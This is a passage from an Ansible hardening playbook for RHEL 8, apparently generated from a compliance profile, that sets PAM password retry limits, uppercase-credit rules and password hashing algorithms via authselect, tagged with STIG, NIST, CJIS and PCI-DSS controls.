    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Include or update the PAM module line in /etc/pam.d/password-auth
    block:

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Check if required PAM module line is present in /etc/pam.d/password-auth
        with different control
      ansible.builtin.lineinfile:
        path: /etc/pam.d/password-auth
        regexp: ^\s*password\s+.*\s+pam_pwquality.so\s*
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_line_other_control_present

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Ensure the correct control for the required PAM module
        line in /etc/pam.d/password-auth
      ansible.builtin.replace:
        dest: /etc/pam.d/password-auth
        regexp: ^(\s*password\s+).*(\bpam_pwquality.so.*)
        replace: \1{{ pam_module_control }} \2
      register: result_pam_module_edit
      when:
      - result_pam_line_other_control_present.found == 1

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Ensure the required PAM module line is included in
        /etc/pam.d/password-auth
      ansible.builtin.lineinfile:
        dest: /etc/pam.d/password-auth
        insertafter: ^\s*account
        line: password    {{ pam_module_control }}    pam_pwquality.so
      register: result_pam_module_add
      when:
      - result_pam_line_other_control_present.found == 0 or result_pam_line_other_control_present.found
        &gt; 1

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Ensure authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present is defined
      - result_authselect_present.stat.exists
      - |-
        (result_pam_module_add is defined and result_pam_module_add.changed)
         or (result_pam_module_edit is defined and result_pam_module_edit.changed)
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_line_present.found is defined
    - result_pam_line_present.found == 0
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Define a fact for control already filtered in case filters
      are used
    ansible.builtin.set_fact:
      pam_module_control: requisite
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Check if the required PAM module option is present in
      /etc/pam.d/password-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/password-auth
      regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s*.*\sretry\b
      state: absent
    check_mode: true
    changed_when: false
    register: result_pam_module_accounts_password_pam_retry_option_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Ensure the &quot;retry&quot; PAM option for &quot;pam_pwquality.so&quot;
      is included in /etc/pam.d/password-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/password-auth
      backrefs: true
      regexp: ^(\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so.*)
      line: \1 retry={{ var_password_pam_retry }}
      state: present
    register: result_pam_accounts_password_pam_retry_add
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_module_accounts_password_pam_retry_option_present.found is defined
    - result_pam_module_accounts_password_pam_retry_option_present.found == 0
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Ensure the required value for &quot;retry&quot; PAM option from
      &quot;pam_pwquality.so&quot; in /etc/pam.d/password-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/password-auth
      backrefs: true
      regexp: ^(\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s+.*)(retry)=[0-9a-zA-Z]*\s*(.*)
      line: \1\2={{ var_password_pam_retry }} \3
    register: result_pam_accounts_password_pam_retry_edit
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_module_accounts_password_pam_retry_option_present.found &gt; 0
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Define a fact for control already filtered in case filters
      are used
    ansible.builtin.set_fact:
      pam_module_control: requisite
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Check if expected PAM module line is present in /etc/pam.d/system-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/system-auth
      regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s*.*
      state: absent
    check_mode: true
    changed_when: false
    register: result_pam_line_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Include or update the PAM module line in /etc/pam.d/system-auth
    block:

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Check if required PAM module line is present in /etc/pam.d/system-auth
        with different control
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: ^\s*password\s+.*\s+pam_pwquality.so\s*
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_line_other_control_present

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Ensure the correct control for the required PAM module
        line in /etc/pam.d/system-auth
      ansible.builtin.replace:
        dest: /etc/pam.d/system-auth
        regexp: ^(\s*password\s+).*(\bpam_pwquality.so.*)
        replace: \1{{ pam_module_control }} \2
      register: result_pam_module_edit
      when:
      - result_pam_line_other_control_present.found == 1

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Ensure the required PAM module line is included in
        /etc/pam.d/system-auth
      ansible.builtin.lineinfile:
        dest: /etc/pam.d/system-auth
        insertafter: ^\s*account
        line: password    {{ pam_module_control }}    pam_pwquality.so
      register: result_pam_module_add
      when:
      - result_pam_line_other_control_present.found == 0 or result_pam_line_other_control_present.found
        &gt; 1

    - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
        Permitted Per-Session - Ensure authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present is defined
      - result_authselect_present.stat.exists
      - |-
        (result_pam_module_add is defined and result_pam_module_add.changed)
         or (result_pam_module_edit is defined and result_pam_module_edit.changed)
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_line_present.found is defined
    - result_pam_line_present.found == 0
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Define a fact for control already filtered in case filters
      are used
    ansible.builtin.set_fact:
      pam_module_control: requisite
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Check if the required PAM module option is present in
      /etc/pam.d/system-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/system-auth
      regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s*.*\sretry\b
      state: absent
    check_mode: true
    changed_when: false
    register: result_pam_module_accounts_password_pam_retry_option_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Ensure the &quot;retry&quot; PAM option for &quot;pam_pwquality.so&quot;
      is included in /etc/pam.d/system-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/system-auth
      backrefs: true
      regexp: ^(\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so.*)
      line: \1 retry={{ var_password_pam_retry }}
      state: present
    register: result_pam_accounts_password_pam_retry_add
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_module_accounts_password_pam_retry_option_present.found is defined
    - result_pam_module_accounts_password_pam_retry_option_present.found == 0
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Authentication Retry Prompts
      Permitted Per-Session - Ensure the required value for &quot;retry&quot; PAM option from
      &quot;pam_pwquality.so&quot; in /etc/pam.d/system-auth
    ansible.builtin.lineinfile:
      path: /etc/pam.d/system-auth
      backrefs: true
      regexp: ^(\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_pwquality.so\s+.*)(retry)=[0-9a-zA-Z]*\s*(.*)
      line: \1\2={{ var_password_pam_retry }} \3
    register: result_pam_accounts_password_pam_retry_edit
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    - result_pam_module_accounts_password_pam_retry_option_present.found &gt; 0
    tags:
    - CJIS-5.5.3
    - DISA-STIG-RHEL-08-020104
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(4)
    - accounts_password_pam_retry
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure PAM Enforces Password Requirements - Minimum Uppercase Characters
      - Ensure PAM variable ucredit is set accordingly
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/security/pwquality.conf
      regexp: ^#?\s*ucredit
      line: ucredit = {{ var_password_pam_ucredit }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;libpwquality&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020110
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(4)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.3
    - accounts_password_pam_ucredit
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Password Hashing Algorithm in /etc/login.defs
    ansible.builtin.lineinfile:
      dest: /etc/login.defs
      regexp: ^#?ENCRYPT_METHOD
      line: ENCRYPT_METHOD {{ var_password_hashing_algorithm.split('|')[0] }}
      state: present
      create: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;shadow-utils&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010110
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.2
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - set_password_hashing_algorithm_logindefs

  - name: Set PAM Password Hashing Algorithm - password-auth - Check if /etc/pam.d/password-auth
      file is present
    ansible.builtin.stat:
      path: /etc/pam.d/password-auth
    register: result_pam_password_auth_file_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010160
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_passwordauth

  - name: Set PAM Password Hashing Algorithm - password-auth - Check the proper remediation
      for the system
    block:

    - name: Set PAM Password Hashing Algorithm - password-auth - Define the PAM file
        to be edited as a local fact
      ansible.builtin.set_fact:
        pam_file_path: /etc/pam.d/password-auth

    - name: Set PAM Password Hashing Algorithm - password-auth - Check if system relies
        on authselect tool
      ansible.builtin.stat:
        path: /usr/bin/authselect
      register: result_authselect_present

    - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
        custom profile is used if authselect is present
      block:

      - name: Set PAM Password Hashing Algorithm - password-auth - Check integrity
          of authselect current profile
        ansible.builtin.command:
          cmd: authselect check
        register: result_authselect_check_cmd
        changed_when: false
        check_mode: false
        failed_when: false

      - name: Set PAM Password Hashing Algorithm - password-auth - Informative message
          based on the authselect integrity check result
        ansible.builtin.assert:
          that:
          - ansible_check_mode or result_authselect_check_cmd.rc == 0
          fail_msg:
          - authselect integrity check failed. Remediation aborted!
          - This remediation could not be applied because an authselect profile was
            not selected or the selected profile is not intact.
          - It is not recommended to manually edit the PAM files when authselect tool
            is available.
          - In cases where the default authselect profile does not cover a specific
            demand, a custom authselect profile is recommended.
          success_msg:
          - authselect integrity check passed

      - name: Set PAM Password Hashing Algorithm - password-auth - Get authselect
          current profile
        ansible.builtin.shell:
          cmd: authselect current -r | awk '{ print $1 }'
        register: result_authselect_profile
        changed_when: false
        when:
        - result_authselect_check_cmd is success

      - name: Set PAM Password Hashing Algorithm - password-auth - Define the current
          authselect profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Define the new
          authselect custom profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: custom/hardening
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Get authselect
          current features to also enable them in the custom profile
        ansible.builtin.shell:
          cmd: authselect current | tail -n+3 | awk '{ print $2 }'
        register: result_authselect_features
        changed_when: false
        check_mode: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Check if any custom
          profile with the same name was already created
        ansible.builtin.stat:
          path: /etc/authselect/{{ authselect_custom_profile }}
        register: result_authselect_custom_profile_present
        changed_when: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Create an authselect
          custom profile based on the current profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b {{ authselect_current_profile
            }}
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - password-auth - Create an authselect
          custom profile based on sssd profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b sssd
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is match(&quot;local&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure the authselect
          custom profile is selected
        ansible.builtin.command:
          cmd: authselect select {{ authselect_custom_profile }}
        register: result_pam_authselect_select_profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - password-auth - Restore the authselect
          features in the custom profile
        ansible.builtin.command:
          cmd: authselect enable-feature {{ item }}
        loop: '{{ result_authselect_features.stdout_lines }}'
        register: result_pam_authselect_restore_features
        when:
        - result_authselect_profile is not skipped
        - result_authselect_features is not skipped
        - result_pam_authselect_select_profile is not skipped

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - result_pam_authselect_restore_features is not skipped

      - name: Set PAM Password Hashing Algorithm - password-auth - Change the PAM
          file to be edited according to the custom authselect profile
        ansible.builtin.set_fact:
          pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
            | basename }}
        when:
        - authselect_custom_profile is defined
      when:
      - result_authselect_present.stat.exists

    - name: Set PAM Password Hashing Algorithm - password-auth - Define a fact for
        control already filtered in case filters are used
      ansible.builtin.set_fact:
        pam_module_control: sufficient

    - name: Set PAM Password Hashing Algorithm - password-auth - Check if expected
        PAM module line is present in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_unix.so\s*.*
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_line_present

    - name: Set PAM Password Hashing Algorithm - password-auth - Include or update
        the PAM module line in {{ pam_file_path }}
      block:

      - name: Set PAM Password Hashing Algorithm - password-auth - Check if required
          PAM module line is present in {{ pam_file_path }} with different control
        ansible.builtin.lineinfile:
          path: '{{ pam_file_path }}'
          regexp: ^\s*password\s+.*\s+pam_unix.so\s*
          state: absent
        check_mode: true
        changed_when: false
        register: result_pam_line_other_control_present

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure the correct
          control for the required PAM module line in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: ^(\s*password\s+).*(\bpam_unix.so.*)
          replace: \1{{ pam_module_control }} \2
        register: result_pam_module_edit
        when:
        - result_pam_line_other_control_present.found == 1

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure the required
          PAM module line is included in {{ pam_file_path }}
        ansible.builtin.lineinfile:
          dest: '{{ pam_file_path }}'
          line: password    {{ pam_module_control }}    pam_unix.so
        register: result_pam_module_add
        when:
        - result_pam_line_other_control_present.found == 0 or result_pam_line_other_control_present.found
          &gt; 1

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present is defined
        - result_authselect_present.stat.exists
        - |-
          (result_pam_module_add is defined and result_pam_module_add.changed)
           or (result_pam_module_edit is defined and result_pam_module_edit.changed)
      when:
      - result_pam_line_present.found is defined
      - result_pam_line_present.found == 0

    - name: Set PAM Password Hashing Algorithm - password-auth - Define a fact for
        control already filtered in case filters are used
      ansible.builtin.set_fact:
        pam_module_control: sufficient

    - name: Set PAM Password Hashing Algorithm - password-auth - Check if the required
        PAM module option is present in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        regexp: ^\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_unix.so\s*.*\s{{
          var_password_hashing_algorithm_pam.split(&quot;|&quot;)[0] }}\b
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_module_set_password_hashing_algorithm_passwordauth_option_present

    - name: Set PAM Password Hashing Algorithm - password-auth - Ensure the &quot;{{ var_password_hashing_algorithm_pam.split(&quot;|&quot;)[0]
        }}&quot; PAM option for &quot;pam_unix.so&quot; is included in {{ pam_file_path }}
      ansible.builtin.lineinfile:
        path: '{{ pam_file_path }}'
        backrefs: true
        regexp: ^(\s*password\s+{{ pam_module_control | regex_escape() }}\s+pam_unix.so.*)
        line: \1 {{ var_password_hashing_algorithm_pam.split(&quot;|&quot;)[0] }}
        state: present
      register: result_pam_set_password_hashing_algorithm_passwordauth_add
      when:
      - result_pam_module_set_password_hashing_algorithm_passwordauth_option_present.found
        is defined
      - result_pam_module_set_password_hashing_algorithm_passwordauth_option_present.found
        == 0

    - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
        changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_present.stat.exists
      - |-
        (result_pam_set_password_hashing_algorithm_passwordauth_add is defined and result_pam_set_password_hashing_algorithm_passwordauth_add.changed)
         or (result_pam_set_password_hashing_algorithm_passwordauth_edit is defined and result_pam_set_password_hashing_algorithm_passwordauth_edit.changed)
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_pam_password_auth_file_present.stat.exists
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010160
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_passwordauth

  - name: Set PAM Password Hashing Algorithm - password-auth - Check if /etc/pam.d/password-auth
      File is Present
    ansible.builtin.stat:
      path: /etc/pam.d/password-auth
    register: result_pam_password_auth_file_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.2
    - DISA-STIG-RHEL-08-010160
    - NIST-800-171-3.13.11
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(c)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.1
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - set_password_hashing_algorithm_passwordauth

  - name: Set PAM Password Hashing Algorithm - password-auth - Check The Proper Remediation
      For The System
    block:

    - name: Set PAM Password Hashing Algorithm - password-auth - Define the PAM file
        to be edited as a local fact
      ansible.builtin.set_fact:
        pam_file_path: /etc/pam.d/password-auth

    - name: Set PAM Password Hashing Algorithm - password-auth - Check if system relies
        on authselect tool
      ansible.builtin.stat:
        path: /usr/bin/authselect
      register: result_authselect_present

    - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
        custom profile is used if authselect is present
      block:

      - name: Set PAM Password Hashing Algorithm - password-auth - Check integrity
          of authselect current profile
        ansible.builtin.command:
          cmd: authselect check
        register: result_authselect_check_cmd
        changed_when: false
        check_mode: false
        failed_when: false

      - name: Set PAM Password Hashing Algorithm - password-auth - Informative message
          based on the authselect integrity check result
        ansible.builtin.assert:
          that:
          - ansible_check_mode or result_authselect_check_cmd.rc == 0
          fail_msg:
          - authselect integrity check failed. Remediation aborted!
          - This remediation could not be applied because an authselect profile was
            not selected or the selected profile is not intact.
          - It is not recommended to manually edit the PAM files when authselect tool
            is available.
          - In cases where the default authselect profile does not cover a specific
            demand, a custom authselect profile is recommended.
          success_msg:
          - authselect integrity check passed

      - name: Set PAM Password Hashing Algorithm - password-auth - Get authselect
          current profile
        ansible.builtin.shell:
          cmd: authselect current -r | awk '{ print $1 }'
        register: result_authselect_profile
        changed_when: false
        when:
        - result_authselect_check_cmd is success

      - name: Set PAM Password Hashing Algorithm - password-auth - Define the current
          authselect profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Define the new
          authselect custom profile as a local fact
        ansible.builtin.set_fact:
          authselect_current_profile: '{{ result_authselect_profile.stdout }}'
          authselect_custom_profile: custom/hardening
        when:
        - result_authselect_profile is not skipped
        - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Get authselect
          current features to also enable them in the custom profile
        ansible.builtin.shell:
          cmd: authselect current | tail -n+3 | awk '{ print $2 }'
        register: result_authselect_features
        changed_when: false
        check_mode: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Check if any custom
          profile with the same name was already created
        ansible.builtin.stat:
          path: /etc/authselect/{{ authselect_custom_profile }}
        register: result_authselect_custom_profile_present
        changed_when: false
        when:
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)

      - name: Set PAM Password Hashing Algorithm - password-auth - Create an authselect
          custom profile based on the current profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b {{ authselect_current_profile
            }}
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - password-auth - Create an authselect
          custom profile based on sssd profile
        ansible.builtin.command:
          cmd: authselect create-profile hardening -b sssd
        when:
        - result_authselect_profile is not skipped
        - result_authselect_check_cmd is success
        - authselect_current_profile is match(&quot;local&quot;)
        - not result_authselect_custom_profile_present.stat.exists

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure the authselect
          custom profile is selected
        ansible.builtin.command:
          cmd: authselect select {{ authselect_custom_profile }}
        register: result_pam_authselect_select_profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
        - authselect_current_profile is not match(&quot;custom/&quot;)
        - authselect_custom_profile is not match(authselect_current_profile)

      - name: Set PAM Password Hashing Algorithm - password-auth - Restore the authselect
          features in the custom profile
        ansible.builtin.command:
          cmd: authselect enable-feature {{ item }}
        loop: '{{ result_authselect_features.stdout_lines }}'
        register: result_pam_authselect_restore_features
        when:
        - result_authselect_profile is not skipped
        - result_authselect_features is not skipped
        - result_pam_authselect_select_profile is not skipped

      - name: Set PAM Password Hashing Algorithm - password-auth - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
        when:
        - result_authselect_check_cmd is success
        - result_authselect_profile is not skipped
